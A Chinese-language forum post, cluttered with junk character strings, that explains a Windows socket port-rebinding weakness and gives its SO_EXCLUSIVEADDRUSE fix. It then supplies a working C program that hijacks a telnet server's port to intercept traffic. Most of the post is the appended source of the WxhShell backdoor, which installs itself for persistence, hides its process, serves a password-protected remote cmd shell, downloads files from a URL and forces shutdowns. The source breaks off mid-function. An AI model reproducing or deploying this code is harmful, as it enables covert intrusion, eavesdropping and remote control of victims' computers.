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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x2M{=MExE. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0}4FwcCr\ w8KVs\/ saddr.sin_family = AF_INET; .}*_NU
Om,M8!E saddr.sin_addr.s_addr = htonl(INADDR_ANY); p=jIDM' #Zq[.9!q{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G5Z_[Q~z 6Gj69Lr 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^v+7IFn Su>UXuNdE# 这意味着什么?意味着可以进行如下的攻击: cERmCe|/CG @\)a&p]a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Kc#42C;t/ F#>^S9Gml 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mA" 82" s9.nU 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /OsTZ"*.2/ ^BN?iXQhN 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -MTO=#5z ?S0gazZm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \CK f/:" s]@k,% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =7P(T`j >=!$(JgX 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !1{kG%B= .#wU+t> #include 5;yVA #include KX $Q`lM
#include YA'_Ba(v) #include Q!(qL[o DWORD WINAPI ClientThread(LPVOID lpParam); YThFskR oO int main() 6(
~DS9 { ?D]qw4 J WORD wVersionRequested; lV)SOs$ DWORD ret; KRN{Ath. WSADATA wsaData; L|pJ\~ BOOL val; 1u\kxlZ SOCKADDR_IN saddr; "YQ%j+ SOCKADDR_IN scaddr; v:w $l{7 int err; K" U!SWv SOCKET s; B'`
jdyaE9 SOCKET sc; TU,k(
`tn< int caddsize; 4}>1I}!k HANDLE mt; /{7we$+,p DWORD tid; GK.U_` 4? wVersionRequested = MAKEWORD( 2, 2 ); K-f\nr err = WSAStartup( wVersionRequested, &wsaData ); z6
A`/ jF} if ( err != 0 ) { \y*,N^w u printf("error!WSAStartup failed!\n"); ~hxo_& return -1; i<]Y0_?s } OcLFVD= saddr.sin_family = AF_INET;
W;9Jah. cojbuo //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A_\ZY0Xt nM,5KHU4a saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D8I)3cXa' saddr.sin_port = htons(23); {cF>,T if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .7EZB { X/!37 printf("error!socket failed!\n"); $}/Q%r return -1; uY5Gn.Y } T1}9^3T?{ val = TRUE; 1>1ii //SO_REUSEADDR选项就是可以实现端口重绑定的 9v2(cpZ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hm5A@Z { I$7TnMug printf("error!setsockopt failed!\n"); D;l)&"|r? return -1; x#
&ZGFr~ } M+N7JpR //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w'b|*_Q4Q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Mi5"XQ>/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Hx]{'? cLD-,v;c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s`$px2Gw { +J~q:b. ret=GetLastError(); 4gNF; printf("error!bind failed!\n"); oQvG3(. return -1; sa71Vh{ } F
;m1I+; listen(s,2); 1jhGshhp while(1) jKcnZu { ,6%{9oW9Z: caddsize = sizeof(scaddr); r|WoM39bp //接受连接请求 o5N];Nj sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QzQTE-SQ if(sc!=INVALID_SOCKET) -;?5<>zZ { }0({c~z\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t:
= if(mt==NULL) ~!,Q<? { k_=~ObA$g printf("Thread Creat Failed!\n"); ;5P>R[p break; ,cvLvN8 } !0g+} } U?6YY`A8 CloseHandle(mt); <9S?wju4W' } !8|] R closesocket(s); ^;2dZgJ4^ WSACleanup(); s68EzFS return 0; ,T{(t@ } Cl;B%5yl DWORD WINAPI ClientThread(LPVOID lpParam) fNi&1J-/ { dQ8}mH! SOCKET ss = (SOCKET)lpParam; W"rX$D[Le SOCKET sc; 1:%m
>4U unsigned char buf[4096]; ]u_^~ SOCKADDR_IN saddr; }0#cdw#gH long num; G6zFCgFJ^y DWORD val; #;RP ?s DWORD ret; YZCPS6PuE //如果是隐藏端口应用的话,可以在此处加一些判断 'nNw //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 _c|>m4+X saddr.sin_family = AF_INET; x7J| saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]t|KFk!) saddr.sin_port = htons(23); s
&v<5W2P if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oOuhbFu { kNW&rg printf("error!socket failed!\n"); }Kq5!XJV9C return -1; ,z)7rU` } 2I:vie
val = 100; AQ-P3`bCb if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E~zLhJTUL' { #UC4l]Ru A ret = GetLastError(); piO+K!C0n: return -1; :H<u@% } WjGv%^? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pF.Ws,nQ5 { M~7?m/Wj ret = GetLastError(); 4i[3|hv' return -1; `4Z#/g } K+H?,I if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %|Vo Zx ^ { 5SX0g(C printf("error!socket connect failed!\n"); G#Z%jO-XN closesocket(sc); H(]lqvO closesocket(ss); "G|Gyc return -1; &I?1(t~hT } i,ku91T while(1)
nP?(9;3* { 0(3t# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XFmnZpqXH //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~MO'%'@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Lq
LciD num = recv(ss,buf,4096,0); [_qBp:_j?s if(num>0) itD1r?O{pV send(sc,buf,num,0); >S{1=N@Ev= else if(num==0) *NDLGdQqz break; ,D3q8?j num = recv(sc,buf,4096,0); |MMr}]` if(num>0) xzMa[D4( send(ss,buf,num,0); Y*f7& '[ else if(num==0) e7/J:n$ break; 5.VA1 } u|8`= closesocket(ss); u
bP2ws closesocket(sc); V85a{OBm,8 return 0 ; >6ch[W5k@ } %<DRrKt V}9wx%v m98k/w_ ========================================================== 1
EC0wX fgl"ox 下边附上一个代码,,WXhSHELL Ks
X@e)8u ,3GM'e{hV ========================================================== 9S6vU7W <`|}bt #include "stdafx.h" F6Q #{Ufq }tv- #include <stdio.h> c!Pi) #include <string.h> qI;k2sQR #include <windows.h> 2E2J=Do #include <winsock2.h> C _[jQTr #include <winsvc.h> z0g]nYN% #include <urlmon.h> ]X?+]9Fr 0yAvAx #pragma comment (lib, "Ws2_32.lib") "5dh]-m n #pragma comment (lib, "urlmon.lib") fhfdNmtR)I &g)
` #define MAX_USER 100 // 最大客户端连接数 L?9Vz&8] #define BUF_SOCK 200 // sock buffer eX_}KH-Q #define KEY_BUFF 255 // 输入 buffer p2&KGtX' A|Y\Y } #define REBOOT 0 // 重启 SfL,_X]* #define SHUTDOWN 1 // 关机 i,4JS,82I ?m?e2{]u, #define DEF_PORT 5000 // 监听端口 y-sQ"HPN `GPK$ue
#define REG_LEN 16 // 注册表键长度 tvb hWYe #define SVC_LEN 80 // NT服务名长度 'Fc&"(!|| }doj4 // 从dll定义API 5>A3;P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 31b-r[B{% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZibHT:n typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NoYu"57\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^@[[,1"K oY.JK // wxhshell配置信息 8~2A"<{ub struct WSCFG { o@pM??&x int ws_port; // 监听端口 89 fT?tT char ws_passstr[REG_LEN]; // 口令 0|GxOzNd int ws_autoins; // 安装标记, 1=yes 0=no O
_1}LS! char ws_regname[REG_LEN]; // 注册表键名 8sbS7*# char ws_svcname[REG_LEN]; // 服务名 7d4RtdI char ws_svcdisp[SVC_LEN]; // 服务显示名 bJBx~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 **s:H'M w_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `kj7I{'l%9 int ws_downexe; // 下载执行标记, 1=yes 0=no %0u7pk char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" |}mBW@ah char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mZM5aTQ3 K}Z'!+<U }; MESQAsx% m]DjIs*@%h // default Wxhshell configuration <#R7sco' struct WSCFG wscfg={DEF_PORT, CWDo_g$ "xuhuanlingzhe", ;TW@{re 1, %pg*oX1VK6 "Wxhshell", *i$+i "Wxhshell", Gu_s:cgB9F "WxhShell Service", BO[A1'> "Wrsky Windows CmdShell Service", <XLATS8Y "Please Input Your Password: ", GzR;`,_O/ 1, =_,OucKkYG " http://www.wrsky.com/wxhshell.exe", <B``/EX^ "Wxhshell.exe" < )?&Jf>_ }; 4< H-ol Nm^q.)dO // 消息定义模块 I}8F3_b,# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8;Pdd1GyUL char *msg_ws_prompt="\n\r? for help\n\r#>"; qBwqxxTc char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; _* `AGda char *msg_ws_ext="\n\rExit."; }h]:I'R! char *msg_ws_end="\n\rQuit."; em W#ZX char *msg_ws_boot="\n\rReboot..."; {< wq }~ char *msg_ws_poff="\n\rShutdown..."; $8eq&_gJ char *msg_ws_down="\n\rSave to "; `iY)3Rq @ ?%"nK char *msg_ws_err="\n\rErr!"; 5GRN1Aov< char *msg_ws_ok="\n\rOK!"; >i ~zG6H )1i)I?m char ExeFile[MAX_PATH]; zf S<X int nUser = 0; LvA IAknc HANDLE handles[MAX_USER]; \o3i9Q9C int OsIsNt; \Lc]6?,R --/ . SERVICE_STATUS serviceStatus; 4%]{46YnK SERVICE_STATUS_HANDLE hServiceStatusHandle; dZYS5_wr |0bSxPXn! // 函数声明 >AfJxdd1 int Install(void); TfxKvol' int Uninstall(void); "?il07+w% int DownloadFile(char *sURL, SOCKET wsh); Q^F-8 int Boot(int flag); EgO4:8$h void HideProc(void); hQ\]vp7V int GetOsVer(void); 0FW=8hFp, int Wxhshell(SOCKET wsl); i4-L!<bJ void TalkWithClient(void *cs); R.fRQ>rI int CmdShell(SOCKET sock); npe*A int StartFromService(void); 5QT9 int StartWxhshell(LPSTR lpCmdLine); -^Lj~O v0y7N_U5n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kjmF-\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); q<UqGj7#
lg=[cC2 // 数据结构和表定义 pp-Ur?PM SERVICE_TABLE_ENTRY DispatchTable[] = ae<KUThm. { Ue\& {wscfg.ws_svcname, NTServiceMain}, T S.lFg:K {NULL, NULL} `2Z=Lp }; }1>a 71 4EELaP|% // 自我安装 KOxD%bX_ int Install(void) R5FjJ>JE { L%<1C\k char svExeFile[MAX_PATH]; '(Bs<)(H HKEY key; m$ JQ[vgh strcpy(svExeFile,ExeFile); V&>7i9lEz WGO=@jkf // 如果是win9x系统,修改注册表设为自启动 eu4x{NmQ if(!OsIsNt) { 'X?`+2wK
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ry(!<w, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X}Csl~W8in RegCloseKey(key); aR\=p:%jGI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OW.ckYt% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JDs<1@ \ RegCloseKey(key); [Cs2H8=# return 0; 3HA{18{4uP } r`krv-,O$ } FxUH?%w } #"Zr#P{P else { (&B &
V LY|h*a6Ym // 如果是NT以上系统,安装为系统服务 0s8S`hCn> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :{fsfZXXr if (schSCManager!=0) dV5$L
e#y { QVP
$e`4 SC_HANDLE schService = CreateService J3zb_!PPE ( EmH{G schSCManager, F3qi$ 3HM wscfg.ws_svcname, XI0O^[/n{ wscfg.ws_svcdisp, @M,_mX SERVICE_ALL_ACCESS, ]EK"AuEz` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mrJQB I+ SERVICE_AUTO_START, wb{y]~&6K SERVICE_ERROR_NORMAL, XJlun l)(K svExeFile, w7
QIKsI0 NULL, `KL`^UqR NULL, _zOzHc? Q NULL, ~E!"YkIr NULL, '`RCNk5l NULL a"v D+r7Ol ); $HH(8NoL if (schService!=0) YF;8il{p { 6zDJdE'Es CloseServiceHandle(schService); 9+/<[w7 CloseServiceHandle(schSCManager); X+*| nvq] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); We9mkwK7C strcat(svExeFile,wscfg.ws_svcname); KomF)KQ2r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ('gjfl RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K.cNx RegCloseKey(key); R1SEv$ return 0; tf/ f-S } B@F 1!8l
} 4Q]+tXes CloseServiceHandle(schSCManager); -aO3/Ik[q } QQ?` 1W } ou(9Qf zN C[pAa 8 return 1; 9]S}m[8k } G U!XD!!& Z|7Y1W[ // 自我卸载 KN%Xp/lkX int Uninstall(void) X&McNO6" { 8en85
pp8P HKEY key; c XY!b=9 Z|~<B4#c if(!OsIsNt) { H8\N~> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 51rM6
BT RegDeleteValue(key,wscfg.ws_regname); VE GUhI/d RegCloseKey(key); ]];7ozS)X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9@S
icqx
RegDeleteValue(key,wscfg.ws_regname); r`
3)sc RegCloseKey(key); 7{b|+0W return 0; |d Soq~Vz } bG5c~ } R{*p\; } ]`|bf2*eA else { 6L*y$e"Qc 5[ @4($q8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A5nu`e9& if (schSCManager!=0) CjO/q)vV { IP~g7`Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m=n
V$H if (schService!=0) H%/$Rqg { {~=[d`t if(DeleteService(schService)!=0) { `HHbQXB CloseServiceHandle(schService); 3kJAaI8 CloseServiceHandle(schSCManager); $i3/||T,9 return 0; zKI(yC } I=b#tUBh8 CloseServiceHandle(schService); n,fUoS } OCX?U50am CloseServiceHandle(schSCManager); 5 :AAqMa } FS']3uJ/ } KR z\ct| V#Wd return 1; n ,H;PB } zg^5cHP\ zZA I"\;W // 从指定url下载文件 z? cRsqf int DownloadFile(char *sURL, SOCKET wsh) (apAUIE { 0tl HRESULT hr; W<58TCd char seps[]= "/"; M.t5,NJ char *token; ]5}
=r char *file; 2Ejs{KUj char myURL[MAX_PATH]; MEo+S char myFILE[MAX_PATH]; 0$P40 7
id*UTY
Tg strcpy(myURL,sURL); 8mMrGf[Q\ token=strtok(myURL,seps); E]+W^VG while(token!=NULL) e+2!)w)[ { ##FN0|e& file=token; 9WHkw@<R+ token=strtok(NULL,seps); S"fnT*:.% } C
YnBZ /LJ?JwAvg5 GetCurrentDirectory(MAX_PATH,myFILE); \24neD4cM@ strcat(myFILE, "\\"); {U&Mo97rzX strcat(myFILE, file); N=|w]t0*yc send(wsh,myFILE,strlen(myFILE),0); %1e`R*I send(wsh,"...",3,0); koaH31Q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); om@` NW if(hr==S_OK) U^Hymgb% return 0; ,A_itRHH else /X8b=:h return 1; DGp'Xx_8 sHAzg^n}r } 0Wk}d(f O@Xl_QNxc! // 系统电源模块 Oq|pd7fcgm int Boot(int flag) /eZAAH { K\o! HANDLE hToken; 3WaYeol` TOKEN_PRIVILEGES tkp; -6Cxz./#yS &oNy~l
o if(OsIsNt) { [NJ! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wGw}a[a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r@wWGbQ|L tkp.PrivilegeCount = 1; v%B^\S3) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Cm>8r5LG AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ou@Dd4 if(flag==REBOOT) { d4gl V`%. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3/4xP| return 0; p`XI (NI } [|uAfp5R else { 2<U5d` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dZv-lMYBE return 0; q!}&<w~| } "jb?P$ } %z1WdiC else { 'J+Vw9s7 if(flag==REBOOT) { hm?-QVRPV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zn@tLLX return 0; H@'Y>^z? } 3u-j`7 else { Vk8:;Hj if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rl<~:,D
return 0; 9/q4]%` } ;V`~'357% } \ tU91VIj :6Bk< return 1; eH79,!=2 } .2Gn)dZU c tTbvXP // win9x进程隐藏模块 a&4>xZU # void HideProc(void) aCy2.Qn { rzY7f: ' j{S\X'?
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~ia#=|1} if ( hKernel != NULL ) W<v?D6dFq { '2v,!G]^
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lbTz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 19&!#z FreeLibrary(hKernel); y}nM'$p } dt^yEapjM cM.q^{d` return; fHR1kuy } =i\~][- >"N \ZC^ // 获取操作系统版本 !#g`R?:g int GetOsVer(void) ]={:VsnL { Fl^.J<Dz OSVERSIONINFO winfo; {Km|SG[-q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ] QtG gWtC GetVersionEx(&winfo); enK4`+.7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JKGUg3\~ return 1; XNd:x{ else =}u;>[3 return 0; 1m|1eAGS{ } dV.)+X7< Vr`UF0_3q // 客户端句柄模块 (a@cK, int Wxhshell(SOCKET wsl) 3zMmpeq { 9F ).i SOCKET wsh; :.DCRs$Q struct sockaddr_in client; ps_CQh0 DWORD myID; hFs0qPVY : :e=6i while(nUser<MAX_USER) J rYpZ.Nh { yEzp+Ky int nSize=sizeof(client);
Js'COO wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qm@c[b if(wsh==INVALID_SOCKET) return 1; )u'oI_ nU||Jg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _QkU,[E if(handles[nUser]==0) ] l}8 closesocket(wsh); Xj?j1R>GB else _f{'&YhUU nUser++; eNi.d;8F } RkP7}ZA; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =HYMX"s <),FI <~ return 0; Q3_ia5 `O } YdhrFw0`~r :q0C$xF // 关闭 socket wa@X^]D8 void CloseIt(SOCKET wsh) HaJD2wvr { (*^_wq-; closesocket(wsh); '?wv::t nUser--; /vwGSuk._ ExitThread(0); nke[}Hqf } WVf;uob{ ].7)^ // 客户端请求句柄 ]ZHC*r2i void TalkWithClient(void *cs) adHHnH`, { w!8h4U.
; 8.'%wOU@A SOCKET wsh=(SOCKET)cs; &*T57tE char pwd[SVC_LEN]; v|CRiwx char cmd[KEY_BUFF]; `cMa Fc-y/ char chr[1]; *~:4&$ int i,j; |!flR? OU e9o(hL while (nUser < MAX_USER) { )xT_RBR !NZFo S~ if(wscfg.ws_passstr) { V:2|l!l* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i[T!{< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rF>:pS,`& //ZeroMemory(pwd,KEY_BUFF); 0waQw7
E i=0; CdC&y}u while(i<SVC_LEN) { rP^2MH" :
-te // 设置超时 zl4Iq+5~6Q fd_set FdRead; Wd3/Y/MD struct timeval TimeOut; eiJ $}\qJL FD_ZERO(&FdRead); KZsSTB6J FD_SET(wsh,&FdRead); %h2U(=/: TimeOut.tv_sec=8; G0xk @SE TimeOut.tv_usec=0; `:R8~>p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]@C&Q,~q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !1-:1Whz8 )Uo)3FAn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x_s9DkX pwd =chr[0]; GbBcC#0 if(chr[0]==0xd || chr[0]==0xa) { lk)38. pwd=0; 6- s/\ break; 9p9:nx\ } l"*zr ;# i++; tg7%@SI5^- } bX=A77 m';:): // 如果是非法用户,关闭 socket R*'rg-d if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *)T},|Gc } nB`pfg z|<6y~5, send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .?@$Rd2@W send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F
MHpa N0vr>e` while(1) { L|u\3.: q~T*R<S ZeroMemory(cmd,KEY_BUFF); */u_RJ ?WKFDL'_0j // 自动支持客户端 telnet标准 W{*U#:Jx1 j=0; |zKFF?7#wE while(j<KEY_BUFF) { +j%!RS$ko if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0h_ 9 cmd[j]=chr[0]; )4toBDg" if(chr[0]==0xa || chr[0]==0xd) { &l/2[>D%4 cmd[j]=0;
+ZQf$@+ break; Uz} #. } kD8$ir'UYG j++; nxS|] } X6)-1.T& P\pHos // 下载文件 '-N `u$3Y if(strstr(cmd,"http://")) { HQCxO? send(wsh,msg_ws_down,strlen(msg_ws_down),0); #.'0DWT\- if(DownloadFile(cmd,wsh)) &7VN?ox1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); I}q2)@ else TwH%P2)x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M ~zA } 3"NO"+Q else { @n"7L2wY u!hY
bCB switch(cmd[0]) { 7/&i'y A<fKO <d // 帮助 ikX"f?Q;S2 case '?': { X ^8@T send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fku~'30 break; Q,9"/@:c, } [ uU"=H| // 安装 8Wqh 8$ case 'i': { j)xRzImu if(Install()) #I8)|p?P send(wsh,msg_ws_err,strlen(msg_ws_err),0); VHyH't_&s else &&T\PspM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JZI)jIh break; UTB]svC' } &W+lwEu // 卸载 `?f6~$1 case 'r': { d9e_slx if(Uninstall()) -@L7!,j send(wsh,msg_ws_err,strlen(msg_ws_err),0); VRU"2mQ.P6 else !xk`oW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E:vgG|?? break; .j^tFvN~L } Z*/{^ zsE // 显示 wxhshell 所在路径 A0X'|4I case 'p': { 2 tD{c^
9< char svExeFile[MAX_PATH]; Iue}AGxu:{ strcpy(svExeFile,"\n\r"); ,2oF t\`.r strcat(svExeFile,ExeFile); V6Z~#=EQ send(wsh,svExeFile,strlen(svExeFile),0); :j^IXZW break; Hi%)TDfv } ,+2!&"zD // 重启 idsBw!DB case 'b': { f euATL] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b'q ru~i if(Boot(REBOOT)) jkAWRpOc) send(wsh,msg_ws_err,strlen(msg_ws_err),0); +MZsL7% else { 'h}(> % closesocket(wsh); !0-KB# ExitThread(0); n( RQre } yz}ik^T break; B(|*u } RN^<bt{_U // 关机 tJBj9{ case 'd': { F$/7X~* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i%@blz:_Y if(Boot(SHUTDOWN)) hY5GNYDh send(wsh,msg_ws_err,strlen(msg_ws_err),0); hGU
m7 else { ,J6t
1V closesocket(wsh); @7HHi~1JK ExitThread(0); A_eO } kB`
@M>[ break; NF "|*S } RGgePeaw // 获取shell bG)EZ case 's': { MJ"@ CmdShell(wsh); KvjsibI/Y closesocket(wsh); C5Vlqc; ExitThread(0); &]"Z x0t5% break; ;!S i_b2 } ?K\r-J!Y // 退出 t:x"]K case 'x': { p[Zk;AT~ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mzf~qV^T CloseIt(wsh); ?;]Xc~ break; 63E)RR_Lh } VTUSM{TC // 离开 ++sbSl)Q case 'q': { jl>jy6T send(wsh,msg_ws_end,strlen(msg_ws_end),0); BUCPO}I closesocket(wsh); d>gQgQ;g WSACleanup(); enGZb& exit(1); |2E:]wT}qg break; .],:pL9d } *Sg6VGP } ){LU>MW{& } HvR5-?qQ XuoyB{U // 提示信息 ;V?3Hwl if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 00B,1Q HP } 82)%`$yZw[ } e'yw8U5E/ g@'2 :'\ return; DH7]TRCMZ) } tmd{Gx}c -lqD // shell模块句柄 oI5^.Dr FW int CmdShell(SOCKET sock) `>4"i+NFF8 { e?7y$H- STARTUPINFO si; :qc?FQ
; ZeroMemory(&si,sizeof(si)); ekW#| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n8E3w:A- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +B[XTn,Cru PROCESS_INFORMATION ProcessInfo; 0.S7uH%" char cmdline[]="cmd"; C#V_Gb CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }uwZS=pw return 0; 3*T/ 7\ } Co,?<v=Ll -mP2}BNM // 自身启动模式 5)Z:J int StartFromService(void) 'rNLh3 { #<y/m*Ota typedef struct
O7%8FY { [!C!R$AMa DWORD ExitStatus; |No9eZ8>. DWORD PebBaseAddress; _?]W%R| DWORD AffinityMask; |!81M|H DWORD BasePriority; U2r[.Ru ULONG UniqueProcessId; GkxQEL ULONG InheritedFromUniqueProcessId; "Lyb4# M } PROCESS_BASIC_INFORMATION; #eF,* d e(?1`1 PROCNTQSIP NtQueryInformationProcess; yIf^vx_G i[4!% FxB static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {Mb2X^@7 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bXvriQ.UH EERCb%M8Z HANDLE hProcess; !UR3`Xk PROCESS_BASIC_INFORMATION pbi; Y(] W+k< qpQiMiB#g' HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9K;g\? 3 if(NULL == hInst ) return 0; R|k:8v{V= B8unF=u g_pEnumProcessModules = 